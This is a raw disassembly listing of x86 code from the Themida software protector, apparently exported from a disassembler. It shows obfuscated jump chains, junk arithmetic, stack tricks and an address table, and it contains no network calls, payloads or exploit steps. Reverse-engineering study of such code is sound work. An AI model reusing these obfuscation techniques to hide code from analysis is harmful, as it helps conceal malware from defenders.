; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop cx
rcr dword ptr [esp], cl
pushf
jmp loc_54EA5C
; ---------------------------------------------------------------------------
loc_55AFFB: ; CODE XREF: Themida_:0054F91Aj
push 3700h
mov [esp], ecx
jmp loc_556DE9
; ---------------------------------------------------------------------------
loc_55B008: ; CODE XREF: Themida_:00554694j
push esp
push dword ptr [esp]
pop eax
push esi
jmp loc_552A70
; ---------------------------------------------------------------------------
loc_55B013: ; CODE XREF: Themida_:005579D5j
pop edi
add ebx, ecx
mov ecx, [esp]
add esp, 4
push eax
mov eax, esp
push esi
push ebp
jmp loc_5570B1
; ---------------------------------------------------------------------------
loc_55B026: ; CODE XREF: Themida_:00550D5Dj
or al, 52h
jmp loc_54FC86
; ---------------------------------------------------------------------------
mov ax, [esp]
push esi
mov esi, esp
jmp loc_54EF82
; ---------------------------------------------------------------------------
loc_55B039: ; CODE XREF: Themida_:00558846j
add bl, 53h
push ecx
mov ch, 14h
inc ch
jmp loc_55568A
; ---------------------------------------------------------------------------
loc_55B046: ; CODE XREF: Themida_:0055A7DBj
shr ecx, 2
push 3E40h
mov [esp], esi
mov esi, esp
add esi, 4
sub esi, 4
jmp loc_54F4FE
; ---------------------------------------------------------------------------
loc_55B061: ; CODE XREF: Themida_:0055A995j
mov dl, al
mov eax, [esp]
jmp loc_554FE6
; ---------------------------------------------------------------------------
loc_55B06B: ; CODE XREF: Themida_:00555045j
mov ebx, [esp]
add esp, 4
pop ecx
push 735h
jmp loc_551997
; ---------------------------------------------------------------------------
loc_55B07C: ; CODE XREF: Themida_:005599E5j
pop ebx
add ebx, 6B4D411Ah
shr ebx, 8
xor ebx, 7F43BBBBh
mov eax, ebx
jmp loc_553E87
; ---------------------------------------------------------------------------
loc_55B093: ; CODE XREF: Themida_:00559190j
xor [eax], ebp
pop eax
push 2D35h
mov [esp], ecx
mov ecx, 24h
add ecx, 234C0377h
sub ecx, 7F823755h
add ecx, edi
add ecx, 7F823755h
sub ecx, 234C0377h
xor ebp, [ecx]
pop ecx
xor [edi+24h], ebp
push ebp
jmp loc_559A4A
; ---------------------------------------------------------------------------
loc_55B0C9: ; CODE XREF: Themida_:0055389Cj
and ebx, 29EB3E14h
not ebx
xor ebx, 0FF96F3EBh
mov edi, ebx
pop ebx
add edx, edi
mov edi, [esp]
add esp, 4
add edx, 2
xor edx, [esp]
jmp loc_554730
; ---------------------------------------------------------------------------
loc_55B0ED: ; CODE XREF: Themida_:005540F8j
pop ecx
shr dl, 7
and dl, 29h
sub esp, 4
mov [esp], eax
mov al, 73h
shr al, 5
or al, 0CBh
jmp loc_550698
; ---------------------------------------------------------------------------
loc_55B106: ; CODE XREF: Themida_:00553A89j
pop ebx
add ebx, 4
sub ebx, 4
xchg ebx, [esp]
jmp loc_557B37
; ---------------------------------------------------------------------------
loc_55B11B: ; CODE XREF: Themida_:0054FBD7j
xor ebp, 26F97FF0h
add ebp, 0ECFDA669h
add eax, 236C6A40h
sub eax, ebp
sub eax, 236C6A40h
push dword ptr [esp]
jmp loc_552D1B
; ---------------------------------------------------------------------------
loc_55B13B: ; CODE XREF: Themida_:00557109j
mov ecx, 42161201h
jmp loc_555381
; ---------------------------------------------------------------------------
loc_55B145: ; CODE XREF: Themida_:00550167j
pop eax
push 1CBCh
jmp loc_55373D
; ---------------------------------------------------------------------------
loc_55B150: ; CODE XREF: Themida_:00551903j
pop ecx
jmp loc_54EA5C
; ---------------------------------------------------------------------------
loc_55B156: ; CODE XREF: Themida_:0054F1C7j
mov esp, [esp]
cmp ecx, eax
pushf
jmp loc_54EA5C
; ---------------------------------------------------------------------------
loc_55B161: ; CODE XREF: Themida_:005594C4j
add ebx, 741DBEF4h
jmp loc_554699
; ---------------------------------------------------------------------------
loc_55B16C: ; CODE XREF: Themida_:0055AA5Fj
mov esi, esp
push ecx
jmp loc_55862F
; ---------------------------------------------------------------------------
pop small word ptr [edx]
jmp loc_54EA5C
; ---------------------------------------------------------------------------
loc_55B17C: ; CODE XREF: Themida_:00555C26j
add bl, ch
pop ecx
add bl, al
sub bl, 45h
push eax
push ecx
mov cl, 0D1h
neg cl
not cl
jmp loc_551DB2
; ---------------------------------------------------------------------------
loc_55B191: ; CODE XREF: Themida_:00550405j
add ebx, 4
xchg ebx, [esp]
jmp loc_555560
; ---------------------------------------------------------------------------
loc_55B19F: ; CODE XREF: Themida_:00554F1Dj
push ebx
mov ebx, 4
add ecx, ebx
pop ebx
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
mov esp, [esp]
jmp loc_54EA5C
; ---------------------------------------------------------------------------
mov edx, [esp]
jmp loc_551282
; ---------------------------------------------------------------------------
mov ax, [esp]
push ebp
push 6905h
jmp loc_556756
; ---------------------------------------------------------------------------
loc_55B1D0: ; CODE XREF: Themida_:00558DEEj
push ecx
mov ecx, 23152097h
mov eax, 23152093h
jmp loc_5510AD
; ---------------------------------------------------------------------------
loc_55B1E0: ; CODE XREF: Themida_:00551B91j
xor al, bl
jmp loc_550A0F
; ---------------------------------------------------------------------------
loc_55B1E7: ; CODE XREF: Themida_:00553A58j
push esp
pop edx
add edx, 4
add edx, 2
xchg edx, [esp]
mov esp, [esp]
imul cl
movzx cx, ah
push small 4122h
mov [esp], cx
movzx cx, al
push cx
pushf
jmp loc_54EA5C
; ---------------------------------------------------------------------------
loc_55B212: ; CODE XREF: Themida_:00559CE0j
xor [esp], esi
xor esi, [esp]
pop esp
jmp loc_553F28
; ---------------------------------------------------------------------------
loc_55B21E: ; CODE XREF: Themida_:005568BDj
push esi
mov esi, esp
push ebp
mov ebp, 4
add esi, ebp
jmp loc_559BE7
; ---------------------------------------------------------------------------
dd offset dword_5494AC+0Bh
dw 4CF6h
dd 23h, 3F30000h, 3047B08h, 6A167FFEh, 40E8FA42h, 207005Bh
dd 20000h, 2 dup(10000h), 6A160000h, 0FA42h, 4 dup(0)
dd 0F40E0000h, 1910055h, 3D80057h, 0EA540057h, 0BC380056h
dd 0BAF20056h, 6B00056h, 80AD0057h, 0C6300056h, 0D4970055h
dd 7BF30056h, 8D220056h, 0E5320056h, 2E7B0056h, 51FF0056h
dd 0F7DD0056h, 0D9960056h, 972D0056h, 0B6380056h, 10E60056h
dd 0FE950056h, 0D5A0056h, 65110056h, 0DC2E0056h, 0D2440055h
dd 71E60055h, 6F8B0056h, 0F40E0056h, 0BB0C0056h, 2EF70055h
dd 3F770056h, 0B8EC0056h, 83AD0056h, 61670056h, 0BED80056h
dd 33B0055h, 1F830057h, 8E730056h, 7B5E0056h, 0AE5A0056h
dd 859E0056h, 2F7A0056h, 3B740056h, 0ECF50056h, 0C1CE0056h
dd 0B8900055h, 3C560055h, 0EC3C0056h, 43990055h, 0E8FB0056h
dd 5FFC0056h, 7ECA0056h, 69470056h, 0DB0056h, 2B7E0057h
dd 35540056h, 0D0D20056h, 0B6520056h, 78B80055h, 0FBBC0056h
dd 54640055h, 7D670056h, 72000056h, 9D50056h, 73ED0056h
dd 8B080056h, 8CCA0056h, 0BF3D0056h, 0CAA40055h, 0CB50055h
dd 9C1A0056h, 0EFEA0056h, 705E0055h, 0C5980056h, 0F4E80056h
dd 0A2FF0055h, 0C4410056h, 45D80055h, 0FB4D0056h, 0BEA60056h
dd 41C80055h, 99F20056h, 0F3AC0056h, 145C0056h, 0ECBE0056h
dd 6B5D0056h, 16620056h, 3B820056h, 0EE410056h, 0E7A80055h
dd 1BD00056h, 0B42B0056h, 9F510056h, 225D0056h, 8E260056h
dd 0AB800056h, 0F44F0056h, 4E610056h, 0D8B70056h, 0FEB00056h
dd 0FF170055h, 54AB0055h, 9DE00056h, 0A2E10056h, 0BA0C0056h
dd 430C0055h, 0B2330056h, 5DF00056h, 5B770056h, 0E4A50056h
dd 0F780056h, 547D0056h, 0C50D0056h, 0E9DD0055h, 0F0890056h
dd 22CF0056h, 0F8510056h, 7B7E0055h, 0BB170056h, 58D40055h
dd 5AD80056h, 0E52B0056h, 629A0055h, 97840056h, 0D4570056h
dd 0EF690055h, 12370056h, 915D0056h, 25740056h, 0E7940056h
dd 0E2BE0055h, 0C5F70055h, 4A6F0055h, 0EE1F0056h, 5190056h
dd 47A60056h, 3FF0056h, 0F42F0057h, 0EFD40056h, 3D290056h
dd 331A0056h, 0DB910056h, 0F7230055h, 0E9F70056h, 0EF310055h
dd 82430055h, 2EBB0056h, 27780056h, 7060056h, 5E8C0057h
dd 4E040056h, 0F0FF0056h, 34C60056h, 99A20056h, 4FC0056h
dd 0EBE00057h, 0DF3B0056h, 1F2B0056h, 0EA4D0056h, 8BEA0055h
dd 61560056h, 4BC10056h, 0B6760056h, 9AB60056h, 12480056h
dd 4E0A0056h, 0F7730056h
db 55h, 0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5B3505
loc_55B50E: ; CODE XREF: Themida_:005A464Aj
; Themida_:005A9D48j ...
pusha
pushf
cld
call $+5
pop edi
sub edi, 6134B00h
mov eax, edi
add edi, 6134818h
cmp eax, [edi+2Ch]
jnz short loc_55B52C
jmp short loc_55B53F
; ---------------------------------------------------------------------------
loc_55B52C: ; CODE XREF: sub_5B3505-57FDDj
mov [edi+2Ch], eax
mov ecx, 0A7h
jmp short loc_55B53B
; ---------------------------------------------------------------------------
loc_55B536: ; CODE XREF: sub_5B3505-57FC8j
add [edi+ecx*4+40h], eax
dec ecx
loc_55B53B: ; CODE XREF: sub_5B3505-57FD1j
or ecx, ecx
jnz short loc_55B536
loc_55B53F: ; CODE XREF: sub_5B3505-57FDBj
mov esi, [esp+24h]
mov ebx, esi
add esi, eax
mov ecx, 1
loc_55B54C: ; CODE XREF: sub_5B3505-57FB2j
xor eax, eax
lock cmpxchg [edi+30h], ecx
jnz short loc_55B54C
loc_55B555: ; CODE XREF: sub_56755A-BEC6j
; Themida_:0055BAF2j ...
lodsb
push edx
mov dl, 0C0h
neg dl
and dl, 2Dh
sub dl, 1
shr dl, 2
sub esp, 4
jmp loc_56376A
; END OF FUNCTION CHUNK FOR sub_5B3505
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55B56F: ; CODE XREF: sub_56755A+670j
push ecx
mov ecx, 5CA34B0Eh
push ebx
mov ebx, 12FE2605h
xor ecx, ebx
pop ebx
add ecx, 1AB45AADh
xor ecx, 36A39015h
jmp loc_55E601
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_55B58F: ; CODE XREF: Themida_:0056B33Aj
sub ebp, 45830FA2h
mov ebx, [esp]
add esp, 4
add edi, ebp
jmp loc_56E4CB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55B5A5: ; CODE XREF: sub_56755A-5739j
push esi
mov esi, 4
mov eax, esi
pop esi
sub esi, 8C268EAh
add esi, 3A971A99h
add esi, 6ADF6923h
add esi, eax
sub esi, 6ADF6923h
sub esi, 3A971A99h
push ebp
mov ebp, 6403382Fh
add ebp, 0A4BF30BBh
add esi, ebp
pop ebp
push [esp+4+var_4]
pop eax
jmp loc_56C3E9
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_55B5E6: ; CODE XREF: Themida_:0055B76Bj
dec ecx
jmp loc_568FBD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56D83A
loc_55B5EC: ; CODE XREF: sub_56D83A+Cj
xchg ebp, [esp+0]
pop esp
jmp loc_568508
; END OF FUNCTION CHUNK FOR sub_56D83A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55B5F5: ; CODE XREF: sub_56755A-BC22j
sub bh, 5Ch
jmp loc_55C081
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56C86A
loc_55B5FD: ; CODE XREF: sub_56C86A-10B46j
add [esp+4+var_4], 4
push [esp+4+var_4]
pop ebp
add esp, 4
jmp loc_56EC21
; END OF FUNCTION CHUNK FOR sub_56C86A
; ---------------------------------------------------------------------------
loc_55B610: ; CODE XREF: Themida_:0056D08Aj
xor esi, 1C652777h
push ecx
mov ecx, 1EE7DB01h
add esi, ecx
jmp loc_55DB1C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55B623: ; CODE XREF: sub_56755A-A66j
add esi, edi
sub esp, 4
mov [esp+8+var_8], ebp
mov ebp, 4493565Bh
jmp loc_561CE4
; ---------------------------------------------------------------------------
loc_55B635: ; CODE XREF: sub_56755A+19B0j
add bl, 6Bh
add bl, al
sub bl, 6Bh
push eax
jmp sub_5636A9
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_55B643: ; CODE XREF: Themida_:0056F3DFj
pop edi
add esp, 4
shl ebx, 7
jmp loc_55DCEF
; ---------------------------------------------------------------------------
mov ax, [esp]
sub esp, 4
mov [esp], ecx
jmp loc_56D2AD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55B664: ; CODE XREF: sub_56755A-4728j
sub eax, 4
xchg eax, [esp+0Ch+var_C]
mov esp, [esp+0Ch+var_C]
push esp
pop [esp+10h+var_10]
push esi
mov esi, 4
add [esp+10h+var_C], esi
pop esi
pop ebp
add ebp, 4
add ebp, 4
xor ebp, [esp+8+var_8]
xor [esp+8+var_8], ebp
xor ebp, [esp+8+var_8]
mov esp, [esp+8+var_8]
jmp loc_55B555
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_55B699: ; CODE XREF: Themida_:00563D4Bj
mov [esp], edx
sub esp, 4
jmp loc_56E040
; ---------------------------------------------------------------------------
loc_55B6A7: ; CODE XREF: Themida_:0056D6C1j
sub eax, edi
push dword ptr [esp]
mov edi, [esp]
add esp, 4
push 0DE4h
mov [esp], ecx
push ebx
mov ebx, esp
add ebx, 4
sub ebx, 4
xchg ebx, [esp]
pop esp
mov [esp], esp
add dword ptr [esp], 4
mov ecx, [esp]
add esp, 4
sub esp, 4
mov [esp], edi
jmp loc_564D0E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55B6E8: ; CODE XREF: sub_56755A-D7Bj
pop eax
add ebx, 65F42624h
jmp loc_56680A
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_55B6F4: ; CODE XREF: Themida_:0056B413j
add esi, 77E57E8Eh
sub esi, 0A92A8E8Dh
mov ebp, esi
pop esi
add eax, ebp
pop ebp
neg eax
shr eax, 2
xor eax, 15CE07ABh
add edi, eax
pop eax
jmp loc_568F67
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55B718: ; CODE XREF: sub_56755A-F81j
pop esp
push 7724h
mov [esp+4+var_4], ecx
push 416Dh
jmp loc_55C711
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56D5AE
loc_55B72B: ; CODE XREF: sub_56D5AE-11676j
sub eax, 1B6C57FDh
jmp loc_562EA8
; END OF FUNCTION CHUNK FOR sub_56D5AE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55B735: ; CODE XREF: sub_56755A-4255j
xor al, 1
jmp loc_56F1D8
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_55B73C: ; CODE XREF: Themida_:0055F485j
add eax, 4
add eax, 4
xchg eax, [esp]
mov esp, [esp]
jmp loc_55C674
; ---------------------------------------------------------------------------
loc_55B74F: ; CODE XREF: Themida_:0056BB87j
push 295Eh
jmp loc_55DAC9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55B759: ; CODE XREF: sub_56755A-5A4j
neg eax
xor eax, 155A65A2h
add eax, 28EE2F91h
jmp loc_56042B
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_55B76A: ; CODE XREF: Themida_:0055EFD4j
inc ecx
jmp loc_55B5E6
; ---------------------------------------------------------------------------
loc_55B770: ; CODE XREF: Themida_:00566FA7j
pop esp
add ch, 0D4h
jmp loc_56D3CC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56971C
loc_55B779: ; CODE XREF: sub_56971C+360Aj
push 520C2373h
mov ecx, [esp+18h+var_18]
add esp, 4
jmp loc_56C7FF
; END OF FUNCTION CHUNK FOR sub_56971C
; ---------------------------------------------------------------------------
loc_55B78C: ; CODE XREF: Themida_:00566916j
add esp, 4
add esi, 7143013Dh
add esi, 3CE51EF4h
shr esi, 4
xchg ecx, esi
not ecx
jmp loc_56CBBA
; ---------------------------------------------------------------------------
loc_55B7A7: ; CODE XREF: Themida_:00560D60j
add esp, 4
push 1CABh
mov [esp], edx
push esp
pop edx
push 4E18h
mov [esp], ebx
mov ebx, 2E805779h
push esi
mov esi, 1B907577h
not esi
sub esp, 4
jmp loc_568DFF
; ---------------------------------------------------------------------------
loc_55B7D4: ; CODE XREF: Themida_:0056E956j
not esi
xchg eax, esi
inc eax
push 1462h
mov [esp], eax
inc dword ptr [esp]
jmp loc_565BD4
; ---------------------------------------------------------------------------
loc_55B7E8: ; CODE XREF: Themida_:00568B7Fj
shr eax, 8
shr eax, 5
jmp loc_5632D8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55B7F3: ; CODE XREF: sub_56755A-6B08j
xor esi, [esp+8+var_8]
mov esp, [esp+8+var_8]
jmp loc_56EC6B
; ---------------------------------------------------------------------------
loc_55B7FE: ; CODE XREF: sub_56755A-432Dj
pop ebx
sub esi, ebp
jmp loc_56F6C2
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55CD7B
loc_55B806: ; CODE XREF: sub_55CD7B+1Bj
mov [esp+0], ecx
push edx
push 783C28AEh
pop edx
sub edx, 35035506h
add edx, 702F077Ch
sub edx, 2BA70095h
add edx, 0A91C72A2h
mov ecx, edx
pop edx
push ecx
push ebx
pop ecx
pop ebx
xchg edi, ebx
not edi
xchg edi, ebx
xor ecx, ebx
jmp loc_563E47
; END OF FUNCTION CHUNK FOR sub_55CD7B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55C719
loc_55B83C: ; CODE XREF: sub_55C719+8E2Dj
dec ebp
xor ebp, 52922782h
add esi, ebp
pop ebp
add esi, 4
push esi
push [esp+14h+var_10]
pop esi
pop [esp+14h+var_14]
pop esp
jmp loc_55FC88
; END OF FUNCTION CHUNK FOR sub_55C719
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55B858: ; CODE XREF: sub_56755A-6F9Cj
push edx
jmp loc_569B17
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56EAA9
loc_55B85E: ; CODE XREF: sub_56EAA9-13179j
push [esp+arg_0]
push [esp+4+var_4]
pop eax
add esp, 4
pop dword ptr [esp+0]
mov esp, [esp-4+arg_0]
jmp loc_568CF0
; END OF FUNCTION CHUNK FOR sub_56EAA9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56542E
loc_55B874: ; CODE XREF: sub_56542E+99Dj
pop ecx
sub esp, 4
mov [esp+4+var_4], edi
mov edi, 4
add ecx, edi
mov edi, [esp+4+var_4]
add esp, 4
jmp sub_55E257
; END OF FUNCTION CHUNK FOR sub_56542E
; ---------------------------------------------------------------------------
sub esp, 4
mov [esp], ebp
jmp loc_560BC9
; ---------------------------------------------------------------------------
loc_55B89B: ; CODE XREF: Themida_:005684A6j
sub esp, 4
mov [esp], ecx
push ebx
mov ebx, 27840F80h
neg ebx
jmp loc_56E076
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55B8B1: ; CODE XREF: sub_56755A-5842j
add [esp+8+var_8], 4
push [esp+8+var_8]
pop eax
add esp, 4
sub esp, 4
mov [esp+8+var_8], esi
jmp loc_566097
; ---------------------------------------------------------------------------
loc_55B8CA: ; CODE XREF: sub_56755A-A639j
not edi
jmp loc_569B4D
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_566504
loc_55B8D1: ; CODE XREF: sub_566504-7DEBj
pop esi
add edx, 348C1F6Ch
mov edi, [esp-4+arg_0]
jmp loc_561DB0
; END OF FUNCTION CHUNK FOR sub_566504
; ---------------------------------------------------------------------------
loc_55B8E0: ; CODE XREF: Themida_:00563037j
sub ebp, 63D3738Bh
jmp loc_56A0C7
; ---------------------------------------------------------------------------
loc_55B8EB: ; CODE XREF: Themida_:0055F0D5j
pop ebx
add esp, 4
xor ebx, 738B60F7h
neg ebx
push ecx
jmp loc_56E30F
; ---------------------------------------------------------------------------
loc_55B900: ; CODE XREF: Themida_:0056DFEFj
push dword ptr [esp]
pop esi
push esi
mov esi, esp
jmp loc_562161
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55B90C: ; CODE XREF: sub_56755A+810Dj
mov ebp, esp
add ebp, 4
jmp loc_5701D8
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_55B919: ; CODE XREF: Themida_:0056AD61j
mov ebp, ebx
mov ecx, ebp
mov ebp, [esp]
jmp loc_56AF3A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56EAA9
loc_55B925: ; CODE XREF: sub_56EAA9-759Aj
add eax, 4
add eax, 4
push eax
jmp loc_55B85E
; END OF FUNCTION CHUNK FOR sub_56EAA9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55B935: ; CODE XREF: sub_56755A+8D41j
xor bh, dl
pop edx
jmp loc_55B5F5
; ---------------------------------------------------------------------------
loc_55B93D: ; CODE XREF: sub_56755A-93BEj
xor edx, [esp+4+var_4]
mov esp, [esp+4+var_4]
sub ebx, 34900D00h
add ebx, eax
push edi
push esp
pop edi
add edi, 4
sub edi, 4
xor edi, [esp+8+var_8]
xor [esp+8+var_8], edi
jmp loc_569ACF
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_55B965: ; CODE XREF: Themida_:0055F82Aj
add ebp, eax
push eax
mov eax, 1E68350Ch
jmp loc_56FE53
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55B972: ; CODE XREF: sub_56755A-2131j
mov [esp+8+var_8], esi
push 4
pop esi
jmp loc_569D5A
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E89A
loc_55B980: ; CODE XREF: sub_56E89A-1076Fj
pop ebx
add ebx, 47E44EF1h
jmp loc_55F3FE
; END OF FUNCTION CHUNK FOR sub_56E89A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5600E2
loc_55B98C: ; CODE XREF: sub_5600E2+72BFj
push eax
push 1C6Ch
mov [esp+8+var_8], edi
mov edi, 35B4F90h
jmp loc_55F6F4
; END OF FUNCTION CHUNK FOR sub_5600E2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55B99F: ; CODE XREF: sub_56755A-8AC0j
xchg ecx, [esp+8+var_8]
jmp loc_55ECD4
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55F861
loc_55B9A7: ; CODE XREF: sub_55F861+3BE3j
add ebx, 4
xor ebx, [esp+0]
xor [esp+0], ebx
xor ebx, [esp+0]
jmp loc_56F26C
; END OF FUNCTION CHUNK FOR sub_55F861
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55B9BB: ; CODE XREF: sub_56755A+3E10j
add esp, 4
mov edx, [esp+4+var_4]
push esi
jmp loc_570411
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_55B9CA: ; CODE XREF: Themida_:0055E21Cj
mov edx, 1A5B55B6h
sub esp, 4
mov [esp], ecx
mov ecx, 4BE4175Dh
xor edx, ecx
mov ecx, [esp]
add esp, 4
shr edx, 2
jmp loc_56484B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56F653
loc_55B9ED: ; CODE XREF: sub_56F653-1009Bj
xchg ebp, [esp+0]
pop esp
add esp, 4
jmp loc_56F4B7
; END OF FUNCTION CHUNK FOR sub_56F653
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_569E65
loc_55B9F9: ; CODE XREF: sub_569E65-5DD4j
mov ecx, 9CA5AF7h
jmp loc_5614DD
; END OF FUNCTION CHUNK FOR sub_569E65
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55BA03: ; CODE XREF: sub_56755A-1C02j
add al, 0FFh
sub al, 85h
jmp loc_55C176
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
mov ax, fs:[edx]
sub esp, 4
jmp loc_55D17E
; =============== S U B R O U T I N E =======================================
sub_55BA18 proc near ; CODE XREF: sub_56E55E-B03Ej
var_C = dword ptr -0Ch
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0055C2A6 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00561818 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056622A SIZE 00000024 BYTES
; FUNCTION CHUNK AT 00568FA8 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005699C8 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0056A912 SIZE 00000007 BYTES
push ebp
push dword ptr [esp+4]
pop ebp
pop [esp+4+var_4]
pop esp
or eax, eax
jz loc_5647C1
push dword ptr [edi+1Ch]
push 5506h
jmp loc_561818
sub_55BA18 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55E99C
loc_55BA37: ; CODE XREF: sub_55E99C-195Aj
mov ecx, [esp+0]
push ecx
mov ecx, esp
jmp loc_56DD66
; END OF FUNCTION CHUNK FOR sub_55E99C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55BA42: ; CODE XREF: sub_56755A+A52j
push ecx
mov ecx, 5C971776h
jmp loc_562EEA
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_55BA4D: ; CODE XREF: Themida_:0056B606j
mov eax, [esp]
push eax
mov eax, esp
add eax, 4
add eax, 4
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
pop esp
jmp loc_566590
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55BA6C: ; CODE XREF: sub_56755A-670j
xchg edi, edx
inc edi
xchg edi, edx
xchg ebx, edx
not ebx
xchg ebx, edx
sub edx, 0F7FF481Ah
push eax
mov eax, 7A895864h
add ecx, eax
jmp loc_562082
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_55BA8A: ; CODE XREF: Themida_:0056A4EBj
push ebp
mov ebp, 2
add ebx, ebp
jmp loc_55C9CD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55BA97: ; CODE XREF: sub_56755A+24Aj
not [esp+10h+var_10]
mov ebp, [esp+10h+var_10]
add esp, 4
shl ebp, 3
sub esp, 4
jmp loc_56567B
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_55BAAE: ; CODE XREF: Themida_:00569717j
add ebp, 1
push ebx
push ecx
jmp loc_55F67F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56C64C
loc_55BAB8: ; CODE XREF: sub_56C64C+A5Ej
dec dh
sub dh, 30h
xor ch, dh
pop edx
jmp sub_56F653
; END OF FUNCTION CHUNK FOR sub_56C64C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55BAC5: ; CODE XREF: sub_56755A-A9BEj
xor di, 66BFh
shl di, 6
xor di, 0E259h
add si, di
pop edi
jmp loc_569FE5
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_55BADC: ; CODE XREF: Themida_:0055CF7Dj
pop edx
add eax, 70423EEFh
jmp loc_562831
; ---------------------------------------------------------------------------
loc_55BAE7: ; CODE XREF: Themida_:005692EDj
movzx ecx, al
push 4537h
mov [esp], ecx
jmp loc_55B555
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55BAF7: ; CODE XREF: sub_56755A+93Ej
jmp loc_55B555
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55E54A
loc_55BAFC: ; CODE XREF: sub_55E54A-1352j
mov ch, 66h
sub bl, ch
mov cx, word ptr [esp+2+var_4+2]
sub esp, 4
jmp loc_56BDB1
; END OF FUNCTION CHUNK FOR sub_55E54A
; ---------------------------------------------------------------------------
push dword ptr [esp]
push dword ptr [esp]
jmp loc_560D4F
; ---------------------------------------------------------------------------
push dword ptr [esp]
mov eax, [esp]
add esp, 4
push eax
jmp loc_56A1EB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55BB26: ; CODE XREF: sub_56755A+70Dj
sub edx, 4961A1h
push 20C6h
mov [esp+10h+var_10], edx
jmp loc_56E9B8
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
